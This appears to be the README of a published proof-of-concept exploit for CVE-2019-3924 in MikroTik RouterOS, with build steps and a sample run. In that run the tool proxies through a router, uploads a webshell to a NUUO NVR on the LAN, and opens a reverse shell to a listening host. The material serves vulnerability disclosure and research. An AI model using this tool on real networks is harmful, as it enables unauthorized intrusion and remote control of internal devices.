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src Added a PoC for CVE-2019-3924 Feb 20, 2019


A remote, unauthenticated attacker can proxy traffic through RouterOS via probes sent to the agent binary. This PoC demonstrates how to exploit a LAN host from the WAN. A video demonstrating the attack can be found here:

A Tenable Research Advisory for the vulnerability can be found here:


This code was tested on Ubuntu 18.04. There is a dependency on boost, gtest, and cmake. Simply install them like so:

sudo apt install libboost-dev cmake

To compile simply do the following:

cd routeros/poc/cve_2019_3924/
mkdir build
cd build
cmake ..

Sample Usage

albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip --proxy_port 8291 --target_ip --target_port 80 --listening_ip --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at
[+] Connected!
[+] Looking for a NUUO NVR at
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to
[+] Done!
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